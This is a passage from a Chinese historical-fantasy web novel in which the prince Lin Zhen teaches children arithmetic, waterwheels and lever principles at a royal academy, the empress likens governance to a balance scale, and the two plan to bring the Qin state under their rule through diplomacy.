然而,在这份清冷之下,是她对格物之道的执着,对黎民的责任,以及对他那份深藏心底、无需言表的深情。 他伸出手,越过矮几,轻轻覆上她放在膝上的手。 她的手微凉,指节纤细,掌心带着常年执笔绘图留下的薄茧。 楚惜灵身体微微一颤,却没有抽回手。 她抬起眼,清冷的眼眸直视着他,目光澄澈如水,倒映着跳跃的烛火和他深邃的眼眸。 那里,没有孤寂,没有疏离,只有全然的信任与归属。 “灵儿,”林臻低唤。 “嗯。”楚惜灵轻声应道。 “辛苦了。”他声音低沉,带着一丝不易察觉的疼惜。 “分内之事。”楚惜灵道。 无需更多言语。 他掌心的温热,透过她微凉的肌肤,传递着无声的慰藉与力量。 她指尖的薄茧,在他掌心摩挲,带着一种坚韧的承诺。 暖阁外,寒风依旧凛冽。 暖阁内,烛火摇曳,茶香氤氲。 两人执手相望,在寂静中感受着彼此的体温与心跳。 这份清冷下的脉脉深情,如同深埋地底的暖流,无声无息,却足以抵御世间所有的严寒。 第764章 皇家书院 帝京西郊,西山脚下,皇家书院。 晨光熹微,薄雾如纱,笼罩着这片依山而建、气象庄严的学府。 青砖黛瓦,飞檐斗拱,庭院深深,古木参天。空气中弥漫着清新的草木气息和淡淡的墨香,隔绝了尘世的喧嚣。 这里,是帝国未来栋梁的摇篮,也是新政“格物兴国”理念落地生根的重要土壤。 书院正殿“明德堂”东侧,一间宽敞明亮的学堂内,窗明几净。 阳光透过宽大的琉璃窗格,洒在崭新的紫檀木书案上,投下斑驳的光影。 二十余张书案整齐排列,每张案前,端坐着一名身着统一靛蓝儒衫的学童,年龄约在八至十二岁之间。 他们皆是京中三品以上官员子弟,此刻,虽竭力保持端正姿态,但眼中闪烁的好奇与期待,却难以掩饰。 学堂前方,讲台之上。 林臻一身玄色暗云纹常服,外罩同色薄氅,负手而立,身姿挺拔如松。 他深邃的目光扫过台下稚嫩的面孔,沉静的脸上无波无澜,却自有一股不怒自威的气度。 楚惜灵一身月白素锦长裙,外罩靛蓝薄纱褙子,乌发松松绾起,仅簪一支白玉莲簪,清冷如月,静立在他身侧半步之后。 她手中捧着一个蒙着素布的托盘,目光沉静如水。 “参见殿下。”学童们齐声行礼,声音清脆,带着一丝拘谨。 “免礼。”林臻声音低沉平稳,“今日起,本王授尔等算学与格物启蒙。” 学童们眼中瞬间亮起兴奋的光芒。镇北王亲自授课,这是何等殊荣。 更让他们好奇的是,那传说中的“格物之学”,究竟是何等神奇。 林臻走到讲台中央,拿起一支炭笔,在身后巨大的黑板上写下两个大字:算学。 “算学乃格物之基治国之要。”他声音不高,却清晰传入每个学童耳中,“今日先习数位与进位。” 他转身,在黑板上画出一个巨大的算盘框架,标注上“个、十、百、千、万”的位名。 “数有大小。位有高低。”林臻指尖点着算盘,“个位满十进一为十位。十位满十进一为百位。以此类推无穷无尽。” 他随即在黑板上写下几个数字:三、十三、一百零三、一千零三。 “谁来读出这些数。”林臻目光扫过台下。 “我,我!”一个虎头虎脑、名叫李虎的学童迫不及待地举手,声音洪亮,“三,十三,一百零三,一千零三。” “好。”林臻颔首,“李虎再算三加十三。” “三加十三十六。”李虎掰着手指,很快答道。 “十三加一百零三。”林臻问。 “十三加一百零三”李虎挠头,有些犹豫。 “个位三加三六。十位一加零一。百位零加一一。合一百一十六。”一个声音清朗的学童接口道。他名叫王睿,眉目清秀,眼神聪慧。 “善。”林臻赞许,“王睿再算一千零三减一百零三。” “个位三减三零。十位零减零零。百位零减一不够减向千位借一千位一减一零百位十减一九。合九百。”王睿思路清晰,语速飞快。 “很好。”林臻眼中闪过一丝满意,“算盘辅助更直观。” 楚惜灵适时上前,将托盘放在讲台上,揭开素布。里面是一排小巧精致的紫檀木算盘,每架算盘旁还配有一叠写着数字的竹签。 “每人领一架。”林臻道。 学童们兴奋地上前领取算盘和竹签,回到座位,好奇地拨弄着算珠。 “现在按竹签数字拨珠计算。”林臻道。 学堂内响起噼里啪啦的算珠碰撞声。李虎动作粗犷,算珠拨得震天响;王睿动作灵巧,指尖翻飞;一个名叫赵婉儿的秀气女孩,动作轻柔,一丝不苟;一个名叫周平的微胖男孩,则显得有些笨拙,算珠时常卡住。 楚惜灵在学童间缓步巡视,清冷的眼眸扫过他们的动作。 她在周平桌前停下,俯身,指尖轻轻按住他拨错的算珠:“此处十位借位后应退一还九。” 周平脸一红,连忙改正。 “赵婉儿拨珠精准。”楚惜灵清冷的声音响起。 赵婉儿抬起头,小脸微红,眼中闪过一丝欣喜。 “李虎力道过猛易损算珠。”楚惜灵道。 李虎吐了吐舌头,放轻了动作。 简单的数位与加减运算,在算盘的辅助下,变得直观而有趣。学童们很快掌握了要领,学堂内洋溢着轻松而专注的气氛。 算学课毕,林臻擦去黑板上的数字,写下两个新的大字:格物。 “格物格万物之理。”林臻声音沉稳,“今日观水车之力。” 楚惜灵再次上前,揭开另一个托盘的素布。里面是一个精巧的木质水车模型,带有水槽、叶轮、传动轴和一个小巧的磨盘。 “此乃水车模型。”林臻将模型置于讲台中央,“演示水如何驱动磨盘。” 他示意楚惜灵操作。楚惜灵拿起水壶,将清水缓缓倒入水槽。水流冲击叶轮,叶轮转动,带动传动轴,传动轴又带动磨盘缓缓旋转。 “哇!”学童们发出压抑的惊呼,眼睛瞪得溜圆。 “水流动冲击叶轮转动带动轴轴带动磨盘。”林臻指尖随着水流方向移动,讲解着力的传递过程,“此乃水力转化为机械力。” “殿下,为何水冲轮子就转。”李虎忍不住问。 “问得好。”林臻颔首,“水有冲力。叶轮受冲力转动。轴连叶轮故同转。磨盘连轴故亦转。此乃力之传递。” “那水流快磨盘转得快吗。”王睿敏锐地问。 “可试。”林臻示意。 楚惜灵加大水流。水车叶轮转速加快,磨盘也随之转得更快。 “水流慢呢。”赵婉儿细声问。 楚惜灵减小水流。叶轮转速变慢,磨盘转动也变缓。 “水流快冲力大叶轮转得快磨盘转得快。”王睿总结道。 “善。”林臻赞许,“此乃力之大小影响运动快慢。” “殿下,水车只能磨面吗。”周平好奇地问。 “非也。”林臻道,“水力可提水灌溉可驱动纺车可鼓风冶铁用途甚广。” “那没有水怎么办。”李虎问。 “可用风力畜力乃至蒸汽之力。”林臻道,“蒸汽之力更巨。日后再讲。” 学童们眼中充满了向往。这小小的水车模型,仿佛为他们打开了一扇通往神奇世界的大门。 午后,学堂移至书院后院的“格物工坊”。 工坊宽敞明亮,工具齐全。 中央的长桌上,摆放着数十套未组装的水车模型零件。 “现在分组组装水车模型。”林臻道,“四人一组。协作完成。” 学童们兴奋地分组。李虎、王睿、赵婉儿、周平自然分到了一组。 “我来装叶轮。”李虎撸起袖子,拿起叶轮就往轴上套。 “等等。”王睿拦住他,“轴先固定底座。叶轮要对准卡槽。” “底座我来。”赵婉儿拿起底座和支架,仔细比对图纸。 “我找螺丝。”周平在零件堆里翻找。 楚惜灵在各组间巡视指导。她在李虎组停下,看着他们手忙脚乱。 “底座需水平。”楚惜灵清冷的声音提醒,“支架垂直插入底座孔。轴穿过支架轴承再装叶轮。” 王睿立刻领悟,指挥李虎扶稳底座,赵婉儿固定支架,自己小心地将轴穿入轴承,再装上叶轮。周平递上螺丝,王睿用特制的小扳手拧紧。 “水槽斜置对准叶轮。”楚惜灵指点。 赵婉儿小心地调整水槽角度。 “试试。”李虎迫不及待地拿起水壶倒水。 水流冲击叶轮,叶轮缓缓转动,带动磨盘旋转起来。 “成了!”四人欢呼。 其他组也陆续完成。工坊内响起此起彼伏的水流声和欢笑声。学童们看着自己亲手组装的水车转动,脸上洋溢着自豪与满足。 “组装非易事。”林臻声音响起,“需观察思考协作。此乃格物实践之要。” 学童们纷纷点头,深有体会。 夕阳西斜,学童们回到学堂。每人面前铺开一张素白的宣纸。 “今日所学记入格物日记。”林臻道,“画水车图。写其理。思其用。” 学童们立刻埋头书写绘画。 李虎画得粗犷,水车像个大风车,旁边歪歪扭扭写着“水冲轮子转,轮子带磨转”。 王睿画得精细,标注了水流方向、力传递路径,还写下了“水力可驱动机械,用途广泛”的思考。 赵婉儿画得秀气,水车旁添了几株花草,写着“水流快慢影响转速,力有大小”。 周平画得有些凌乱,但努力写着“和伙伴一起装水车很开心,知道了要合作”。 楚惜灵在学童间缓步查看,时而俯身指点一二。 她在王睿桌前停下,清冷的眼眸中闪过一丝微光:“图示精准。思考深入。” 王睿抬起头,眼中闪烁着兴奋的光芒。 “李虎图示可再细致。”楚惜灵道。 李虎挠挠头,嘿嘿一笑。 “赵婉儿图文并茂。”楚惜灵道。 赵婉儿小脸微红。 “周平合作心得甚好。”楚惜灵道。 周平腼腆地笑了。 暮色四合,学童们在仆从的陪同下,陆续离开书院。学堂内,只余林臻与楚惜灵。 “灵儿今日辛苦。”林臻道。 “分内之事。”楚惜灵垂眸,整理着讲台上的模型和教具。 “这些孩子如何。”林臻问。 “李虎勇莽然直率有冲劲。”楚惜灵声音清冷,“王睿聪慧敏锐善思。赵婉儿细致沉静有条理。周平稍钝然踏实肯协作。” “皆可造之材。”林臻颔首,“格物之道需勇者探路。智者析理。细者求精。协作者聚力。” “是。”楚惜灵应道。 两人并肩走出学堂。夕阳的余晖洒在书院古朴的回廊上,拉长了他们的身影。庭院中,古木苍翠,鸟鸣啁啾。 “灵儿可曾想过自己授课。”林臻忽然问。 楚惜灵脚步微顿,清冷的眼眸中闪过一丝错愕,随即恢复平静:“妾身不善言辞。” “非也。”林臻道,“灵儿讲解条理清晰深入浅出。今日辅助甚佳。” 楚惜灵沉默片刻,低声道:“夫君授课威严睿智。妾身辅助即可。” 林臻不再多言。他深知她性情清冷,不喜人前多言。然今日她在学童间耐心指点、精准评价的模样,已在他心中留下深刻印象。 “明日讲杠杆原理。”林臻道,“灵儿备何教具。” “已备天平撬棍滑轮组模型。”楚惜灵道。 “善。”林臻颔首。 两人缓步前行,身影在夕阳下渐行渐远。 书院内,暮钟悠扬,余音袅袅。 第765章 杠杆原理 皇家书院,“格物工坊”。晨光透过高窗,洒在宽大的工作台上,映照着整齐摆放的工具和材料。 空气中弥漫着新木料和桐油的清香。 二十余名身着靛蓝儒衫的学童,围坐在工作台旁,目光灼灼地盯着讲台。 林臻一身玄色常服,身姿挺拔,楚惜灵静立其侧,靛蓝薄纱褙子衬得她清冷如月。 讲台上,摆放着几件奇特的物件:一架精巧的黄铜天平秤,一根光滑的硬木撬棍,一组带有支架的滑轮装置,还有几块大小不一的石头。 “今日讲杠杆。”林臻声音沉稳,穿透工坊的寂静。他拿起那根硬木撬棍,置于台面,“此物名撬棍。可撬动重物。” 学童们屏息凝神。 “杠杆有三点。”林臻指尖点着撬棍,“支点力点重点。” 他取过一块拳头大的石头,压在撬棍一端(重点)。手指按在撬棍另一端(力点)。撬棍中央垫着一块小木块(支点)。 “力点施力重点受力支点支撑。”林臻讲解,“力点距支点远则省力。近则费力。” 他手指轻轻下压。只见那沉重的石头,竟被轻易撬起。 “哇!”学童们发出压抑的惊呼,眼睛瞪得溜圆。 “李虎来试。”林臻道。 李虎兴奋地跑上前,学着林臻的样子,手指用力下压。石头纹丝不动。 “用力。”林臻道。 李虎憋红了脸,使出吃奶的力气,石头才微微晃动。 “为何本王轻松你费力。”林臻问。 “殿下力气大。”李虎挠头。 “非也。”林臻摇头,“看支点位置。” 他示意李虎将支点木块向重点方向挪近半尺。 “再试。”林臻道。 李虎再次下压,这次只用了刚才一半的力气,石头便被撬起。 “咦!真的省力了!”李虎惊喜道。 “王睿可知为何。”林臻问。 王睿眼睛发亮:“力点距支点远了。力臂长了。故省力。” “善。”林臻颔首,“力臂越长越省力。此乃杠杆省力原理。” 学童们恍然大悟,纷纷点头。 “现在分组实践。”林臻道,“每组一根撬棍一块支点木一块大石。目标用最省力撬起石头。” 学童们立刻分组行动。李虎、王睿、赵婉儿、周平一组。他们领到一根撬棍,一块沉重的青石,和一块可移动的支点木。 “快!把支点木挪远点!”李虎迫不及待地指挥。 “等等。”王睿拦住他,“支点木挪远,力臂是长了,但撬棍可能够不着石头。得先找准支点位置。” “对。”赵婉儿点头,指着青石底部,“支点要垫在石头下面边缘。” 周平连忙将支点木塞到青石边缘下方。 “我来按!”李虎抢着握住撬棍末端(力点),用力下压。青石微微晃动,却没被撬起。 “不行太重了。”李虎喘气。 “支点再往外挪一点。”王睿观察着,“力臂还不够长。” 周平将支点木向外挪了半寸。 “再试。”王睿道。 李虎再次用力,青石被撬起一个小角度。 “动了动了!”赵婉儿拍手。 “还不够高。”王睿皱眉,“支点再挪。” 支点木又向外挪了半寸。这次,李虎稍一用力,青石便被轻松撬起一个明显的角度。 “成功了!”四人欢呼。 其他组也陆续成功,工坊内响起此起彼伏的欢呼声和撬棍落地的“砰砰”声。孩子们兴奋地比较着谁的石头大,谁用的力气小,对杠杆的神奇力量惊叹不已。 实践完毕,林臻走到滑轮组前。 “杠杆可省力亦可变向。”他指着滑轮组,“此乃定滑轮动滑轮。” 他演示:将绳子绕过定滑轮,一端系上重物,另一端拉动。重物上升,但拉力方向改变。 “定滑轮不省力只改变方向。”林臻道。 他又将绳子绕过动滑轮,一端固定,另一端拉动。 拉动绳子,动滑轮带着重物上升。 “动滑轮可省力约一半。”林臻道,“因重物由两股绳子分担。” “那用两个滑轮呢。”王睿敏锐地问。 “可组合。”林臻将定滑轮和动滑轮组合成滑轮组,绳子依次绕过。拉动绳子,重物轻松上升。 “哇!更省力了!”学童们惊叹。 “滑轮组绳股数越多越省力。”林臻总结,“然绳越长拉动距离越远。” “省力费距离。”王睿立刻领悟。 “善。”林臻赞许。 最后,林臻走到天平秤前。 “此乃天平。”他道,“特殊杠杆等臂支点居中。” 他在天平两端托盘各放一枚铜钱。天平平衡。 “两端重量相等。”林臻道。 “那放两枚呢。”李虎问。 林臻在左盘加一枚铜钱。左盘下沉。 “左重右轻。”赵婉儿道。 “如何平衡。”林臻问。 “右盘加一枚。”周平道。 林臻在右盘加一枚铜钱。 天平恢复平衡。 “两端重量再次相等。”林臻道,“此乃等臂杠杆权衡公平。” 学童们纷纷点头,对杠杆的多样应用有了更深的理解。 正当学童们沉浸在杠杆奥秘中时,工坊门口传来一阵轻微的骚动。 内侍总管的声音响起:“陛下驾到。” 学童们一惊,连忙起身肃立。 只见工坊门口,女帝慕容嫣一身明黄常服,外罩同色薄氅,未戴凤冠,乌发松松绾起,仅簪一支金凤步摇,仪态雍容,面带浅笑,在两名宫女的陪同下,缓步而入。 “参见陛下。”林臻与楚惜灵躬身行礼。 “参见陛下。”学童们齐声高呼,声音带着紧张与激动。 “免礼。”慕容嫣声音清越温和,目光扫过工坊内的景象,眼中带着一丝好奇与赞许,“朕路过书院听闻夫君在此授课特来看看。” 她走到林臻身侧,目光落在工作台上的杠杆、滑轮和天平上:“此乃何物。” “回陛下,此乃杠杆教具。”林臻道,“今日授杠杆原理。” “哦。”慕容嫣饶有兴趣,“杠杆何用。” “陛下请看。”林臻拿起撬棍,示意李虎,“李虎演示。” 李虎紧张又兴奋地走上前,在慕容嫣面前,熟练地将支点木垫好,握住撬棍末端,用力一压,青石应声而起。 “此乃省力。”林臻解释。 “有趣。”慕容嫣颔首,“朕幼时也曾见宫人用此物挪动假山石。却不知其中道理。” “杠杆乃格物之基。”林臻道,“省力变向权衡皆有其理。” “陛下可要试试天平。”王睿鼓起勇气道。 慕容嫣微微一笑:“好。” 她走到天平前,王睿连忙递上几枚特制的、刻有书院标记的铜钱砝码。慕容嫣在左盘放上两枚,右盘放上一枚。左盘下沉。 “如何平衡。”慕容嫣问。 “右盘加一枚。”赵婉儿细声道。 慕容嫣在右盘加一枚。天平平衡。 “两端等重。”慕容嫣了然,“此物用于称量甚佳。” “正是。”林臻道,“市井秤杆亦是杠杆应用。” “夫君授此格物之学甚好。”慕容嫣看向林臻,眼中带着赞许与柔情,“启童蒙开民智强国本。” “嫣儿过誉。”林臻声音低沉温和。 “朕也想与夫君同授一课。”慕容嫣忽然道,眼中闪过一丝俏皮。 “哦。嫣儿欲授何课。”林臻挑眉。 “授杠杆于治国。”慕容嫣道。 慕容嫣走到讲台中央,拿起那架天平秤。 “治国如同此秤。”她声音清越,带着帝王的威严与智慧,“两端需平衡。” 她将一枚铜钱放入左盘:“此端为民。” 又放入一枚铜钱入右盘:“此端为国。” 天平平衡。 “民安则国泰。”慕容嫣道,“民富则国强。” 她又拿起一枚铜钱:“若加赋税于此端。”她将铜钱放入右盘(国)。右盘下沉。 “国虽增民则损。”慕容嫣道,“失衡。” “如何复衡。”她问学童。 “减赋税。”周平小声道。 “或兴利惠民。”王睿接口道,“使民增收则左盘亦增可复衡。” “善。”慕容嫣赞许,“此乃轻徭薄赋以养民力。” 她又拿起一枚铜钱:“若外敌来犯需增军费。”她将铜钱放入右盘(国)。右盘再次下沉。 “如何复衡。”她问。 “民捐粮饷助国。”李虎大声道。 “或以商税补军需。”赵婉儿细声道,“不损民本。” “皆可。”慕容嫣颔首,“然更重以国之力护民使民安居乐业自愿助国。此乃君臣一心军民一体。” 她将象征“护民安境”的铜钱放入左盘(民)。天平缓缓恢复平衡。 “治国如操此秤。”慕容嫣目光扫过学童,“需明察秋毫权衡利弊。知何处可加何处需减。务求两端相安社稷永固。” 学童们听得似懂非懂,但眼中充满了对这位女帝的崇敬。林臻看着慕容嫣,深邃的眼眸中满是赞许与柔情。楚惜灵静立一旁,清冷的眼眸中也闪过一丝不易察觉的微光。 课程结束,暮色渐沉。学童们在仆从的陪同下,依依不舍地离开书院。 工坊内,只余林臻、慕容嫣与楚惜灵。 “嫣儿今日讲得甚好。”林臻道。 “夫君过奖。”慕容嫣浅笑,“班门弄斧罢了。夫君授格物深入浅出方是根本。” “灵儿辅助得力。”林臻看向楚惜灵。 “分内之事。”楚惜灵垂眸。 “今日见这些孩子聪颖好学朕心甚慰。”慕容嫣望着窗外渐暗的天色,“格物兴国后继有人。” “是。”林臻颔首。 三人并肩走出工坊。夕阳的余晖洒在书院古朴的回廊上,拉长了他们的身影。庭院中,古木苍翠,暮鸟归巢。 “夫君陪朕走走吧。”慕容嫣道。 “好。”林臻应道。 楚惜灵微微欠身:“妾身告退。” 慕容嫣颔首:“楚卿辛苦。” 楚惜灵转身,清冷的身影消失在暮色中。林臻与慕容嫣缓步走在书院静谧的小径上。晚风拂过,带来草木的清香。 “夫君这书院真好。”慕容嫣轻声道,“听着孩子们读书争论欢笑仿佛看到了大乾的未来。” “嫣儿喜欢便常来。”林臻道。 “嗯。”慕容嫣点头,将手轻轻放入林臻掌心。 两人执手而行,身影在夕阳下相依。 书院内,暮钟悠扬,余韵袅袅。 第766章 准备收复秦国 皇家书院暮色中的宁静被远远抛在身后,帝京皇宫的御书房内,烛火将尽,光线略显昏暗。 慕容嫣褪去明黄常服,换上一身素雅的月白软缎寝衣,乌发如瀑,仅用一根玉簪松松挽起,卸去了女帝的威仪,多了几分居家的温婉。 她斜倚在窗边的紫檀木软榻上,手中拿着一卷书,目光却并未落在书页上,而是透过半开的窗棂,望向庭院中疏朗的星月。 林臻坐在榻边,玄色常服也换成了舒适的靛青绸衫,手中端着一盏温热的参茶。 “夫君”慕容嫣放下书卷,声音轻柔,带着一丝不易察觉的倦意,“今日在书院看着那些孩子听你讲杠杆看他们动手实践朕心中甚是欢喜。” 林臻将参茶递到她手中:“嫣儿喜欢便好。” 慕容嫣接过茶盏,指尖无意间触碰到他的掌心,带来一丝微暖的悸动。 她垂眸,小口啜饮着温热的参茶,暖意驱散了深秋的微寒。 “夫君可知,”她抬起眼,眸光如水,倒映着跳跃的烛火,“朕最喜看你授课时的模样。” “哦?”林臻挑眉。 “那时,”慕容嫣唇角微弯,带着一丝温柔的笑意,“你眼中有光。不是朝堂上的深沉也不是战场上的锐利。是一种纯粹的专注与热忱。仿佛那些杠杆滑轮水车在你眼中皆是有生命的精灵。你在与它们对话在探索天地至理。” 她声音轻柔,如同梦呓:“朕看着那样的你心中便觉安宁与骄傲。这便是朕的夫君镇北王林臻。” 林臻心头微动,深邃的眼眸凝视着她。 烛光下,她白皙的脸庞泛着柔和的光晕,卸下帝冕的眉眼间,流露出全然的信任与依恋。 他伸出手,轻轻拂开她颊边一缕散落的发丝,指尖划过她细腻的肌肤。 “嫣儿,”他声音低沉,带着一丝不易察觉的沙哑。 “嗯?”慕容嫣抬眸望他。 “为夫亦是。”林臻道,“最喜看嫣儿在紫宸殿上挥斥方遒在书院与孩童讲治国如衡那时嫣儿眼中有光是为天下谋福祉的大爱与智慧。这便是朕的皇后慕容嫣。” 慕容嫣脸颊微红,眼中水光潋滟。 她放下茶盏,将手轻轻覆在他放在榻边的手背上。掌心相贴,传递着无声的暖意与情愫。无需更多言语,此刻的静谧与相知,便是最深情的告白。 御书房内,烛火摇曳,将两人相依的身影投在墙壁上,拉得很长。 短暂的温情后,慕容嫣轻轻叹了口气,眉宇间染上一丝凝重。 “夫君,”她声音微沉,“南楚有变。” 林臻眸光一凝:“何事。” “南楚王顾北辰死了。”慕容嫣道,“死于暗杀。凶手不明。” 林臻沉默片刻。顾北辰,南楚枭雄,虽与大乾敌对,却也算一代人杰。 他的死,无疑将搅动南疆风云。 “南楚朝廷认定是我大乾所为。”慕容嫣继续道,“已正式照会断绝岁供并陈兵边境以示威吓。” “岁供乃战败之约。”林臻声音平静,“断绝意料之中。陈兵不过虚张声势。” “朕本意征讨。”慕容嫣眼中闪过一丝厉色, 她顿了顿,声音带着一丝疲惫:“夫君这两年大乾北征鬼方西定柔然东平海寇南镇苗乱战事连年。国库虽充盈然将士疲惫百姓亦需休养生息。再启南征恐非良策。” “嫣儿思虑周全。”林臻颔首,反手握住她的手,“南楚疥癣之疾。其国内斗不休。顾北辰一死更乱。陈兵边境不过转移视线。此时征讨正中其下怀。徒耗国力民力。” “然岁供断绝边境不稳终是隐患。”慕容嫣蹙眉。 “不急。”林臻声音沉稳,“当务之急乃北疆。” “北疆?”慕容嫣微怔。 “柔然虽退然元气未伤。”林臻目光深邃,“高昌吐蕃亦虎视眈眈。北疆乃心腹之患。南楚癣疥之疾。轻重缓急当分。” “夫君之意?”慕容嫣问。 “固北疆通西域联漠北诸部筑北境长城。”林臻道,“待北疆铁板一块南楚自不足惧。届时或抚或剿皆由我定。” “固北疆需重兵钱粮。”慕容嫣道。 “我大乾如今兵精粮足。”林臻眼中闪过一丝自信,“焚天雷列装边军。铁龙运兵运粮。电报瞬息通联。格物之力已今非昔比。固守绰绰有余。” 他顿了顿:“北疆并非皆需兵戈。” “哦?”慕容嫣眸光微亮,“夫君有何妙策。” “秦国。”林臻吐出两个字。 “秦国”慕容嫣沉吟,“秦地苦寒民风彪悍。秦君赢稷雄才大略然与我大乾素无深交。如何使其助我。” “非助我。”林臻摇头,“乃使其归附。” “归附?”慕容嫣一惊,“赢稷岂肯俯首称臣。” “赢稷年迈。”林臻道,“其子赢驷懦弱。其弟赢虔野心勃勃。秦廷暗流汹涌。此其一。” “其二,”林臻继续道,“秦国地处西北。东临我大乾。西接吐蕃。北抗柔然。南望南楚。四战之地无险可守。赢稷雄主尚可周旋。若赢稷不在秦危矣。” “其三”林臻目光深邃,“也是最重一点。婉儿乃赢稷嫡亲外甥女。” 慕容嫣瞬间了然:“上官婉儿其母乃秦国长公主赢玉。” “正是。”林臻颔首,“婉儿虽自幼长于大乾然血脉相连。赢稷对其颇为挂念。昔年婉儿入府赢稷曾秘遣使臣送来厚礼。” “夫君欲以婉儿为纽带说动赢稷归附。”慕容嫣道。 “非仅说动。”林臻道,“乃为秦谋出路。归附大乾秦地仍由赢氏自治。大乾助其抵御吐蕃柔然。开通商路共享格物之利。秦民可享太平。赢氏可保宗庙。此乃双赢。” “赢稷雄主岂甘寄人篱下。”慕容嫣仍有疑虑。 “不甘又如何。”林臻声音平静,“大势如此。秦独木难支。归附是存续之道。赢稷老成谋国当明此理。” 他目光微凝:“为夫愿亲赴秦国为说客。” “夫君亲往?”慕容嫣一惊,“此去千里且秦廷暗流恐有风险。” “无妨。”林臻道,“有铁龙有电报往来迅捷。且为表诚意为夫当往。赢稷见为夫亲至当知我大乾诚意。” 慕容嫣沉默片刻,看着林臻坚定而深邃的眼眸,心中忧虑渐散,取而代之的是一股暖流与信任。 “夫君若能成此事”她声音带着一丝激动,“不费一兵一卒收服秦国拓地千里解北疆侧翼之忧实乃大乾之福万民之幸。” “嫣儿放心。”林臻握紧她的手,“为夫定当竭尽全力。” “朕等夫君凯旋。”慕容嫣反手与他十指相扣,眼中闪烁着信任与期盼的光芒。 更深露重,御书房内烛火摇曳。 慕容嫣依偎在林臻怀中,听着他沉稳的心跳,心中一片安宁。 “南楚岁供断绝边境不稳夫君以为当如何处置。”她轻声问。 “遣使责问顾北辰之死非我大乾所为。”林臻道,“陈兵边境乃挑衅。令南疆边军严阵以待勿主动挑衅。增派绣衣卫潜入南楚探查内情。若其敢犯境则以焚天雷迎头痛击。” “善。”慕容嫣颔首,“以静制动后发制人。” “北疆固守为主。”林臻继续道,“加速铺设帝京—雁门关轨道及电报线。确保兵员物资信息畅通无阻。令毛梦极整军屯田抚民。联漠北诸部分化柔然。” “秦国之事”慕容嫣道,“夫君何时启程。” “待婉儿书信送至秦国赢稷有回应后。”林臻道,“为夫便启程。” “婉儿那里”慕容嫣有些担忧。 “无妨。”林臻道,“婉儿深明大义。为大乾为秦国她会理解。” “嗯。”慕容嫣点头,“朕明日便召婉儿入宫详谈。” “有劳嫣儿。”林臻道。 “夫君”慕容嫣抬起头,眸光如水,“此去秦国山高路远定要保重。” “嫣儿放心。”林臻低头,在她光洁的额上印下一吻,“为夫定会平安归来。” 慕容嫣满足地闭上眼,将脸埋在他胸前。 第767章 秦国丞相 帝京初冬,寒风凛冽。 一支精悍的车队驶出王府,踏上了西行之路。 林臻一身玄色蟠龙常服,外罩同色貂裘大氅,端坐于宽大的玄铁马车内。 车壁厚实,内衬软绒,隔绝了车外的严寒。 车辕上,焚雷司特制的减震装置,让行驶异常平稳。 他身侧,浣碧一身水绿色素锦袄裙,外罩月白狐裘斗篷,乌发松松绾成堕马髻,仅簪一支白玉莲簪,清秀的脸上带着长途跋涉的倦意,却依旧沉静如水。 她膝上放着一个紫檀木小几,几上温着一壶热茶,茶香袅袅。 “夫君用些茶暖暖身子。”浣碧提起小巧的紫砂壶,为林臻斟了一杯温热的碧螺春。 动作轻柔,声音细若蚊蚋。 “嗯。”林臻接过茶盏,目光落在她略显苍白的脸上,“碧儿可还受得住。” “无妨。”浣碧轻轻摇头,唇角弯起一丝极淡的弧度,“比在府中坐车稳当多了。” “此去秦国路途遥远天寒地冻委屈碧儿了。”林臻道。 “能伺候夫君是碧儿的福分。”浣碧垂眸,声音轻柔,“夫君为国事奔波碧儿岂敢言苦。” 林臻不再言语,只是静静品茶。 浣碧的温婉与体贴,如同这车内的暖茶,无声地驱散着旅途的疲惫。 她从不抱怨,从不添乱,总是安静地做好分内之事,如同山涧清泉,润物无声。 带她同行,既是生活所需,亦是心中一份难以言喻的慰藉。 车队沿着新铺设的“帝京—雁门关”轨道干线西行。 窗外,北地风光苍茫辽阔。初雪覆盖的原野,枯黄的草甸,连绵的山峦,在车窗外飞速掠过。 偶尔可见巨大的蒸汽机车拖着长长的货厢,喷吐着白烟,在平行的轨道上轰鸣而过,引得护卫骑兵的战马一阵骚动。 “那便是铁龙吗。”浣碧望着窗外,眼中带着一丝好奇。 “嗯。”林臻颔首,“运兵运粮皆赖此物。” “真壮观。”浣碧轻声道。 “日后贯通秦国亦需此物。”林臻道。 浣碧不再多言,只是安静地看着窗外飞逝的景色。 风雪渐大,天地间一片苍茫。马车内,暖炉融融,茶香依旧。 浣碧不时为林臻添茶,或递上一块温热的点心。 她的存在,让这漫长的旅途,少了几分孤寂,多了几分宁静。 数日奔波,车队终于抵达秦国都城——长安。 时值深冬,寒风如刀。 巍峨的城墙在风雪中矗立,青灰色的砖石斑驳沧桑,透着一股厚重的历史感。 城门高大,门楼飞檐斗拱,气势犹存,然朱漆剥落,铜钉锈蚀,显露出几分衰败的迹象。 车队驶入城中。 街道宽阔,却略显冷清。两侧建筑多为土木结构,低矮陈旧,不少屋舍墙皮脱落,露出夯土的痕迹。 行人衣着朴素,多着粗布棉袄,面色黝黑,行色匆匆。 市集上,摊位稀疏,货物多为皮毛、药材、粗粮等物,少见丝绸瓷器等精细之物。 空气中弥漫着柴火、牲口和尘土混合的气息,与帝京的繁华富庶形成鲜明对比。 “长安竟如此萧索。”浣碧望着窗外,清秀的眉宇间带着一丝怜悯。 “秦国地处西北苦寒贫瘠。”林臻声音低沉,“连年与吐蕃柔然争战民生凋敝。” 浣碧轻轻叹息一声,不再言语。 马车碾过积雪的街道,发出吱呀的声响。这座曾经辉煌的古都,在风雪中沉默着,诉说着岁月的沧桑与沉重。 林臻一行下榻于秦国驿馆。 稍事休整,林臻便带着亲卫,前往秦国丞相府邸。 丞相府位于长安城东,朱漆大门紧闭,门前两尊石狮踞坐,狮身覆雪,更显威严肃穆。 门楣上悬着“丞相府”的匾额,字迹遒劲。 通报后,沉重的府门缓缓开启。 一名身着青色官袍的老管家躬身相迎:“林殿下请随老奴来,相爷已在松鹤堂等候。” 穿过几重庭院,来到一处僻静的院落。 院中植着几株苍劲的古松,枝头覆雪。 正堂“松鹤堂”内,炭火盆烧得正旺,驱散了寒意。 一位须发皆白、面容清癯的老者端坐于主位紫檀木太师椅上,身着深紫色蟒纹锦袍,外罩玄色貂裘,手中捧着一个暖炉。 他便是秦国丞相,秦襄,秦国皇帝赢稷的亲伯父,年逾六旬,执掌秦国朝政二十余载,老谋深算,威望极高。 “林殿下远道而来有失远迎恕罪。”秦襄声音苍老,却带着一股不容置疑的威严,目光如鹰隼般锐利,扫过步入堂内的林臻。 “秦相客气。”林臻微微颔首,玄色大氅在身后划出一道凌厉的弧线。 他解下大氅,交给亲卫,露出里面的玄色蟠龙常服,身姿挺拔如松,气势丝毫不弱。 